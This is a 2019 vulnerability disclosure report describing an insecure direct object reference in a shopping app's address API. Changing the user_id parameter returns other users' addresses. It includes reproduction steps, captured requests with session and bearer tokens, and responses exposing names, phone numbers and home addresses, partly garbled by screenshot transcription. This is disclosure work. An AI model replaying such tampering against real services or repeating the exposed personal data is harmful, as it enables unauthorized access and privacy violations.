



Insecure Direct Object Reference on User's Address Page [Android App]

on 14 February 2019

by Muhammad Thomas Fadhila Yahya

Description	<p>Insecure Direct Object Reference, also called IDOR. It refers to when a reference to an internal implementation object, such as a file or database key, is exposed to users without any other access control. In such cases, the attacker can manipulate those references to get access to unauthorized data.</p> <p>An attacker can access and dump other user private information like addresses.</p>
Affected Endpoint	https://ws.tokopedia.com/v4/people/get_address.pl
Impact	<ol style="list-style-type: none"> 1. Steal user's sensitive information like addresses. 2. Using sensitive information to do phishing.
Steps to Reproduce	<ol style="list-style-type: none"> 1. Open Tokopedia App 2. Login into your Tokopedia account. 3. Open Akun 4. Open Pengaturan 5. Open Akun, and choose Daftar Alamat 6. When user access address, it will ask address information through this URL Pict 1.1 https://ws.tokopedia.com/v4/people/get_address.pl?os_type=1&device_id=c25JkaldVM8:APA91bF0vZbq62MIhA7kW5-LMSqR_9oeMs0clXPomMYc8VP8L0s9ok61G6Q90S7XAfN89BpHiWMu4D4JfK0HZ2JvPXnQtkwRpR5w9Wy6COTv6uS4nFHQ5_soyAid-324k99w9gUXhCcn&device_time=1550126949&hash=12fddcf9c60fc1a3dcd1bd42d01efcbf&query=&user_id=37822002 7. Try to intercept the connection to look more detail. 8. In Request body, change user id with other user id Pict 1.2. 9. Forward the request and then the address change to others address in response Pict 1.2.

The screenshot displays a web browser interface with two main sections: "Request" and "Response".

Request Section:

- Raw:** Shows the raw HTTP request starting with "GET /v4/people/get_address.pl?os_type=1&device=c253kaIdVMS:APAS1b...".
- Params:** Displays query parameters such as "os_type=1", "device=c253kaIdVMS:APAS1b...", "hash=12fddcf9c0fdca3dcd4d401ef...", and "user_id=37822002".
- Headers:** Lists headers including "Content-Type: application/json", "Connection: close", "Vary: Accept-Encoding", "X-Content-Type-Options: nosniff", "X-XSS-Protection: 1; mode=block", "Cache-Control: no-cache, no-store, must-revalidate", "X-Robots-Tag: noindex", "X-Frame-Options: SAMEORIGIN", and "Content-Length: 746".
- Method:** GET
- User-Agent:** TKPDRoid AndroidApps: uTrDMtsyV3Cg/AzfoC7F3XOGBNH-X-Tkpd-App-Version: android-3.19
- Host:** ws.tokopedia.com
- Accept-Encoding:** gzip, deflate
- User-Agent:** okhttp/3.8.1

Response Section:

- Status:** 200 OK
- Date:** Thu, 14 Feb 2019 07:40:19 GMT
- Content-Type:** application/json
- JSON Data:** A complex object containing address information:
 - "status": "OK"
 - "config": null
 - "server_processing_time": ""
 - "data": {
 - "list": [
 - "address_id": "71C31316"
 - "address_name": "Rumah"
 - "address_street": "Jalan Kencana No 41"
 - "Jakarta": {
 - "postal_code": "10710", "receiver_phone": "62878986161", "receiver_name": "PK Dekor"
 - "country_name": "Indonesia", "province_id": "13", "province_name": "DKI"
 - "city_id": "17", "city_name": "Kota Administrasi Jakarta Pusat", "district_id": "2278", "district_name": "Sawah Besar"
 - "latitude": "", "longitude": ""
 - "is_primary": true, "is_active": false, "is_whitelisted": true
 - "previous_urls": ["https://www.tokopedia.com/keywords/u002sort=", "ui_next": "0"]
 - "token_recommendation": "TokopediaKeto: TrDsVsEYOOTtObKhEvj8CUtTO9U=", "ut": "1550130044")

Pict 1.1 Request Intercept

Raw	Params	Headers	Hex
<pre> GET /v4/people/get_address.pl?os type=1&device_id=c25JkaIdVM9:APA9Ib F0V2bqC2MhA7K5-LMSqR_9oeMaoc1XPomMYcSVP8LOs9ok106G90S7XAFn9B pHXuWda4JfJk0H2ZJfVpXnQcKwRpR5v9Wy6COTv6u5n4FHQ5_soyAId-32k4S9v9g UHXcndcdeid-time=1550126949&hash=12fddcf9c6f01ca3dd01ef4 cf8query=cuser_id=10645532 HTTP/1.1 Tkpd-Session-Id: c25JkaIdVM9:APA9IbF0V2bqC2MhA7K5-LMSqR_9oeMaoc1XPomMYcSVP8LOs9 ok106G90S7XAFn9BpHXuWda4JfJk0H2ZJfVpXnQcKwRpR5v9Wy6COTv6u5n4FHQ 5_soyAId-32k4S9v9gUHXcnc Tkpd-User-Id: 10645532 Fingerprint-Hash: 4b1497f30541bd8b82321d04b750a5f7 Accounts-Authorization: Bearer AlWY7c9RWutut10F9Wgb Request-Header-Data: eyJ3YXVwYXVyIjo1QW5kcmlSp2CisImNlcnJlbnc3R3M0I0I1LjEiLGlCJkZk2XpZV2Y bWUudA0H7i3RlcmVYjoidGV5Sctm9B3bi1sImRldmJlZV9tbc2RlC1E1kdwb2dsZSBO ZklicyA2ot1jZGV2aWNL3SbbWU0i0JHb29nbGtWmd4VXNlcnRldmJlZV9tbc2RlC1E1 eXNOZV2V0i0JHb29nbGt2IkliaXNlZW1lbnGF0b313iOnRyYWU5ImZlZCkPxaW5icm9l ZW5tcmVmdGVJ3p0cnVlMjCp3e190YVW5ZkQ1cmHNHLLCJ5K5JkafidVM9:APA9Ib XIVT1b15v9YkPb25tbfGFOaXR1ZGU0i1tN4NnU3OTQ1L3k2cmNhdGlibW19sb b25naXN1ZGV0I1s1eXNDY0U0I2NDU0I1w1c2Ny2VWVWuX3Jlcn9Bpbb240i0J13Nj9y MTE4NCis1ZmNlbnQ1O1Jk1ldpcvWkUJNkRlRlFvfi1widdG1ZkYpbWV0i0J1HTVQCN5is ImV2ZkZlVndlbmJlO1Jk1EYXV2aWVh14JkYAgEKnbnV4K9vY8BbmRyb3Z1k1dU0 Mtg9ZSv2ZkZ1E1f5E1eHvZIDQgcnVpbGQvTE1ZNDdEKSJ9 X-GA-ID: 10645532-122b-44eb-b079-d24cac02db7 X-Method: GET X-User-Id: 10645532 Request-Method: GET Authorization: TKPDROID AndroidApps:uYrDMtsy3Cg/A0zfc07f3XOG8BM= X-Tkpd-App-Version: android-3.19 X-Tkpd-App-Name: com.tokopedia.customerapp Date: Thu, 14 Feb 2019 13:49:05 +0700 os_version: 22 Content-Type: text-ND5: 53595ddc818ba569d0dc6ecb380A9 X-APP-VERSION: 1 X-Device: android-3.19 Host: ws.tokopedia.com Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.0.1 </pre>			
<pre> HTTP/1.1 200 OK Date: Thu, 14 Feb 2019 07:44:38 GMT Content-Type: application/json Connection: close Vary: Content-Encoding Vary: Accept-Encoding X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, must-revalidate X-Robots-Tag: noindex X-Frame-Options: SAMEORIGIN Content-Length: 1855 {"status":"OK","config":null,"server_pro cess_time":"","data":{"list":[{"address_i d":14910555,"address":{"list":{"Alamat kantor","address_street":{"PUTRA COMPUTER} Jalan Ck Ditiro No.9 Nberingin Raya, Kemiling","postal_code":"35158","receiver _phone":"085380502030","receiver_name":"M uhammad Thomas Fadliha Yahya","address_status":3,"country_name": "Indonesia","province_id":"68","province_n ame":"Lampung","city_id":"126","city_name": "Kota Bandar Lampung","district_id":"1405","district_n ame":"Kemiling","address_2":"","latitude": ":"","longitude":"","is_primary":true,"is _active":false,"is whitelist":false,"a dress_id":"E2868070","address_name":"Lia","a dress_street":"Toko Serba Indah Jalan Antara No.1 Pasar Barak Jakarta Pusat 10710 D101 Sebrang SAKU 2 PENABUR"},"postal_code":"10710","receiver _phone":"E287883489328","receiver_name": "Lia Prillia","address_status":1,"country_name": "Indonesia","province_id":"13","province_n ame":"DKI </pre>			

Pict 1.2 Request Modified

Remediation	1. Implement an access control. The user needs to be authorized for the requested information before the server provides it.
References	<ol style="list-style-type: none">1. https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet2. https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)